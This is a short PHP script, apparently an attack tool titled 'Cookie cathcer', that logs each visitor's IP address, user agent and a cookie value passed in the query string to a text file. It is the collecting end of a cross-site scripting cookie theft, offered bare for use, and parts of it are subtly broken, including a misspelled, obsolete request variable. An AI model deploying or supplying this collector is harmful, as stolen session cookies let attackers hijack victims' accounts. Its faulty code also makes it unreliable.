IP, U Agentm Cookie cathcer

<?php
/* Set your time zone! */
date_default_timezone_set("Continent/City");
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$cookie = $HTTP_GET_VAR ['cookie'];
$date = date("d F Y, h:i:s");
$file = 'logs.txt';
 
$handle = fopen($file, "a");
fwrite($handle, "IP: $ip \n User Agent: $agent \n Cookie: $cookie \n Date: $date \n\n");
?>